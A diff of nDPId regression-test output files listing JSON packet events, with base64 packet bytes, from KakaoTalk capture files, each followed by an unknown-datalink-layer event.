+00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":318,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069055,"pkt_ts_usec":961646,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzZEAAPwZJmgoYUrxn9jn7x00fkMsN+E8rPwbLgBAAnBPbAAABAQgKAAsU9Zj22UQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":318,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00715{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":319,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069056,"pkt_ts_usec":34613,"pkt_caplen":303,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":303,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR8KKkAAjgb4x4uWAH0KGFK8Abu3Y2Ij0pNRKAQ2UBif2g\/UAADzAAAADm0Ga7VdqRc+Gkt7POZ3i+5tzFY41M0fMnZ5G+m2Vfmrg\/zv7j0hw0EYHJWzK5vm\/yh4v2HJS83EDXIAXU2bjamkVNJvnppe0xZ5dVZ87ou5\/qGH6LaceT8u59MyUCQvylTi4YEzvDS9zVBR8mlLXoh1YM2wq9pcWvX2q\/mybRcS2fxHzLHJJpFYQpXKfnNGugL7Wx\/EBHURohcuMoPwedtdn3tHj0aCstecuAcqjgGrRkrqpBRh\/NLh33y+h1qkuo9\/WREg5Tpgd83vHtfKtQ78Z7vZ4TSawOTHx9k\/8rk1O3mx++HEjz58cnZa448oyarm"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":319,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":320,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069056,"pkt_ts_usec":34796,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjTgEAAQAZ+aAoYUryLlgB9t2MBu1EoBGBiI9OKUBCZkOkBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":320,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":321,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069056,"pkt_ts_usec":74683,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKK0AAjwb4vYuWAH0KGFK8Abu3Y2Ij04pRKARgUBCfsOLnAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":321,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":322,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069057,"pkt_ts_usec":684973,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiiUkAArAZsLB8NRFQKGFK8AFCStWTibx\/NKqFHUBH\/\/xolAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":322,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":323,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069057,"pkt_ts_usec":685950,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUcACiiU0AArAZsKx8NRFQKGFK8AFCStWTibx\/NKqFHUBH\/\/xolAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":323,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":324,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069057,"pkt_ts_usec":806708,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACitl0AAPwbOAwoYUrwfDURUkrUAUM0qoUdk4m8gUBA8uN1sAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":324,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":325,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069060,"pkt_ts_usec":11328,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAENCkUAAQAbmZgoYUrzYOtyuwEEBuxTXAEVlWZivUBiMAAFrAAAVAwEAFnnuS9reX0mqADPiihp3NglZFsDnKQA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":325,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00414{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":326,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069064,"pkt_ts_usec":712378,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEMqWEAAPwaligoYUryt\/GECircBu1PELGZm6PfMUBhVAL8zAAAXAwEAFmO+E91vMFpWx1cg9W58Usz2fKnGypo="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":326,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":327,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069064,"pkt_ts_usec":769263,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQqWUAAPwalWAoYUryt\/GECircBu1PELIFm6PfMUBhVAPPIAAAXAwEAR3gjfUBI088AwOEw3pblkr1ppBUIVetu1tAx2e7oHLCQ7eFc9Io9iRsmbKCRaXKbILUNZCJRZoEJH+C47lART4M\/wLWMVUft"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":327,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":328,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069064,"pkt_ts_usec":796729,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRIkAAjwYu2638YQIKGFK8AbuKt2bo98xTxCyBUBCi4jWyAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":328,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":329,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069064,"pkt_ts_usec":804816,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChRI0AAjwYu2q38YQIKGFK8AbuKt2bo98xTxCzNUBCiljWyAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":329,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":330,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069065,"pkt_ts_usec":34400,"pkt_caplen":83,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":83,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAENRJEAAjwYuvq38YQIKGFK8AbuKt2bo98xTxCzNUBiilugYAAAXAwEAFmtLdW5sPVo0CUmJI1zxK\/jVmwKT2G4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":330,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":331,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069065,"pkt_ts_usec":35041,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEVRJUAAjwYuu638YQIKGFK8AbuKt2bo9+dTxCzNUBiiljPAAAAXAwEAGHKplf3AN4KBeEFML9aBWvS8veLld0VWoQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":331,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":332,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069065,"pkt_ts_usec":44165,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqWkAAPwalowoYUryt\/GECircBu1PELM1m6PfnUBBVAIMtAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":332,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":333,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069065,"pkt_ts_usec":46729,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgqW0AAPwalogoYUryt\/GECircBu1PELM1m6PgEUBBVAIMQAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":333,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00513{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":334,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069068,"pkt_ts_usec":248755,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIvzZUAAPwZJQgoYUrxn9jn7x00fkMsN+E8rPwbLgBgAnFLuAAABAQgKAAsZwJj22URTAAAAplkC\/4gP6c2DY5DOxadg3lUee4jdavCeURNFX7Z7sERsR9UxRDmYuAFqHa6FFgXzxIKxUgPoOOl0FbQjjQQrR\/XQpfDo2RTsIvLSGzAWUJSe920="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":334,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00713{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":335,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069068,"pkt_ts_usec":839972,"pkt_caplen":301,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":301,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAR0KLEAAjgb4x4uWAH0KGFK8Abu3Y2Ij04pRKARgUBifsO6FAADxAAAA9OvkaLVdqRc+Gkt7POZ3i3B\/cSs8hz\/Y+A61mP+SPxO\/R3DGac2sjPnDCuKsrSfTbaTpC1QCK\/upe0ARxdejVurhNuCPA1SnywVLdu4Zw4wElJdvhX7T69mP5x8qI1Azfzl6NQhOIOdbeNjsORgh1vdsQSIm8PTjvEbCs2HlI1ijsi3aryyOYLECufcgZQh+GJ5ecJsfSD+F7fO9n1i5nft96BRdO1V4rNOFmTnrppJbI93qmZXgStBGfcB+qtk0Xvm+VYsDKwNq2vUgN+UkKJNvJyo8rCIYXzs\/GuzAG6FP1IczSONX8\/ceTFUNZIdxfw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":335,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":336,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069068,"pkt_ts_usec":841132,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACjTgUAAQAZ+ZwoYUryLlgB9t2MBu1EoBGBiI9R\/UBCiGOkBAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":336,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00616{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":337,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069068,"pkt_ts_usec":969947,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAANNbJkAALgbyOWf2OfsKGFK8H5DHTSs\/BsvLDfimgBgADgCzAAABAQgKmPcMmQALGcCbAAAAplkC\/4gP6c2DY5DOxadg3lUew4jdakieURNHT6p7sHhi+\/DXWbH9WSLCvTA\/1cQGC+1kHeP8G7VanUUjVw7CBVGNn9\/gJ6IT\/jG\/0zWA5WmJpq03SpO6CWRC+DEtsq\/dg7I5jV\/2UMc2Nwsi5s+L5HA1IMFylaJUOG0t9786ZqggnWw+rsTOF5aFJtB85A9RD2KV1UOsiTMCvSI="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":337,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":338,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069069,"pkt_ts_usec":17493,"pkt_caplen":98,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFLTgkAAQAZ+PAoYUryLlgB9t2MBu1EoBGBiI9R\/UBiiGP+3AAAmAAAA9OvkaLVdqRc+Gkt7POZ3i3B\/uis8h\/TY+A6theSHIjTsUaV8qaQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":338,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":339,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069069,"pkt_ts_usec":68885,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTzZkAAPwZJmAoYUrxn9jn7x00fkMsN+KYrPwdqgBAApdpnAAABAQgKAAsaFJj3DJk="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":339,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":340,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069069,"pkt_ts_usec":274054,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACgKLUAAjwb4u4uWAH0KGFK8Abu3Y2Ij1H9RKASKUBCfhuHyAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":340,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":341,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069072,"pkt_ts_usec":945990,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTTnkAAQAbVigoYUrw2\/\/3H5i8UZ+uf0YYGiXPCgBQCY5HBAAABAQgKAAKjTTTnT0k="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":341,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":342,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069072,"pkt_ts_usec":986762,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADwsMEAAQAZ88QoYUrw2\/\/3H5lQUZzqvj2AAAAAAoAI2sJHJAAACBAV4BAIICgACo1AAAAAAAQMDBQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":342,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":343,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069073,"pkt_ts_usec":186194,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADwAAEAALQa8ITb\/\/ccKGFK8FGfmVG+Fj0U6r49hoBJF6jkFAAACBAV4BAIICjTom84AAqNQAQMDCA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":343,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":344,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069073,"pkt_ts_usec":186682,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQsMUAAQAZ8+AoYUrw2\/\/3H5lQUZzqvj2FvhY9GgBABtpHBAAABAQgKAAKjZTTom84="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":344,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00503{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":345,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069073,"pkt_ts_usec":201697,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIIsMkAAQAZ8qQoYUrw2\/\/3H5lQUZzqvj2FvhY9GgBgBtpi\/AAABAQgKAAKjZzTom84WAwEASQEAAEUDAVFRUVESVPKV5Ej6iE0e+b\/OK2fBD2XxGFd+RBJAtWh8AAAeAAQABQAvADMAMgAKABYAEwAJABUAEgADAAgAFAARAQA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":345,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":346,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069073,"pkt_ts_usec":294684,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADQUukAALgambzb\/\/ccKGFK8FGfmVG+Fj0Y6r4+vgBAARqynAAABAQgKNOib\/AACo2c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":346,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02261{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":347,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069073,"pkt_ts_usec":299933,"pkt_caplen":1456,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1456,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABaAUu0AALgahAjb\/\/ccKGFK8FGfmVG+Fj0Y6r4+vgBAARqHKAAABAQgKNOib\/AACo2cWAwEGtQIAAEYDAVU9H1Gb\/qiDm98eXfIJxb4shEK1GhPjZeBEv8P67\/0aIFU9H1G382hmASwGnCuJDP0Mh2TynvUtxumEykegoF7eAAQACwAGYwAGYAADPjCCAzowggKjoAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgaQxCzAJBgNVBAYTAktSMRQwEgYDVQQIDAtHeWVvbmdnaSBkbzEOMAwGA1UEBwwFU3V3b24xJTAjBgNVBAoMHFNBTVNVTkcgRUxFQ1RST05JQ1MgQ08uLCBMVEQxHjAcBgNVBAMMFSoucHVzaC5zYW1zdW5nb3NwLmNvbTEoMCYGCSqGSIb3DQEJARYZYWRtaW5AcHVzaC5zYW1zdW5nb3NwLmNvbTAeFw05OTEyMzExNTA1MDRaFw00OTEyMTgxNTA1MDRaMIGUMQswCQYDVQQGEwJLUjEUMBIGA1UECAwLR3llb25nZ2kgZG8xJTAjBgNVBAoMHFNBTVNVTkcgRUxFQ1RST05JQ1MgQ08uLCBMVEQxHjAcBgNVBAMMFSoucHVzaC5zYW1zdW5nb3NwLmNvbTEoMCYGCSqGSIb3DQEJARYZYWRtaW5AcHVzaC5zYW1zdW5nb3NwLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAsyrNiMIXJ++fpsiI08sYxPZbKOY56a37f6J9ViQReAUe3UWF2fdOff49ukAjUISbhahOinbZux+ildb7qUyHJVHQXanBrQsLoODvfOiws0bRofk+EjA3+puR1KI8EgNDCJfkzYF40k16LBiMv6fKIGXOV6sbZciKSSDD+AX5+08CAwEAAaOBiTCBhjAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUHQ6IKqRzfLkHpPDYYWaWWRoHaGswHwYDVR0jBBgwFoAUWMjZPBPgzaBussvwASa64F2DMFEwCwYDVR0PBAQDAgXgMA0GCSqGSIb3DQEBBQUAA4GBALo4j8DvDTq0WR5v2UJovDtyilA1Zel1mK2n\/GtzjEjxAUkMxaGxxxnaEWdSVH0\/0pG7jG3ieJSWSLWW4HdJJ+ZytoamKq2k87O5sF5LkM+ZGg+UlFyFpcvLuYXtbZHa4CFAnYmBZ5nQNz06gzWDYU9\/yRhZSf2unf7zNha\/BodKAAMcMIIDGDCCAoGgAwIBAgIJAPMld7YDENSnMA0GCSqGSIb3DQEBBQUAMIGkMQswCQYDVQQGEwJLUjEUMBIGA1UECAwLR3llb25nZ2kgZG8xDjAMBgNVBAcMBVN1d29uMSUwIwYDVQQKDBxTQU1TVU5HIEVMRUNUUk9OSUNTIENPLiwgTFREMR4wHAYDVQQDDBUqLnB1c2guc2Ftc3VuZ29zcC5jb20xKDAmBgkqhkiG9w0BCQEWGWFkbWluQHB1c2guc2Ftc3VuZ29zcC5jb20wHhcNOTkxMjMxMTUwMjEwWhcNNDkxMjE4MTUwMjEwWjCBpDELMAkGA1UEBhMCS1IxFDASBgNVBAgMC0d5ZW9uZ2dpIGRvMQ4wDAYDVQQHDAVTdXdvbjElMCMGA1UECgwcU0FNU1VORyBFTEVDVFJPTklDUyBDTy4sIExURDEeMBwGA1UEAwwVKi5wdXNoLnNhbXN1bmdvc3AuY29tMSgwJgYJKoZIhvcNAQkBFhlhZG1pbkBwdXNoLnNhbXN1bmdvc3AuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDS\/wx087bX6AA7bz\/rPd\/AOtm8g1ebRfENevGCnMrnUw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":347,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} diff --git a/test/results/KakaoTalk_talk.pcap.out b/test/results/KakaoTalk_talk.pcap.out new file mode 100644 index 000000000..2f7c85912 --- /dev/null +++ b/test/results/KakaoTalk_talk.pcap.out @@ -0,0 +1,6406 @@ +00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069140,"pkt_ts_usec":120551,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHLza0AAPwZJVQoYUrxn9jn7x00fkMsN+RcrPwfugBgApZHwAAABAQgKAAs11Jj3Xso6AAAArVkC\/4gP\/deLY5qAl+gvk5f8xql5QXAwvM9bb5tQyHwtP1GibAaltsw94jGcvj4NNAB8Nc8SXCTCPg=="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069140,"pkt_ts_usec":453803,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADRbKkAALgby1Gf2OfsKGFK8H5DHTSs\/B+7LDflVgBAADqYIAAABAQgKmPgkmwALNdQ="} +00167{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 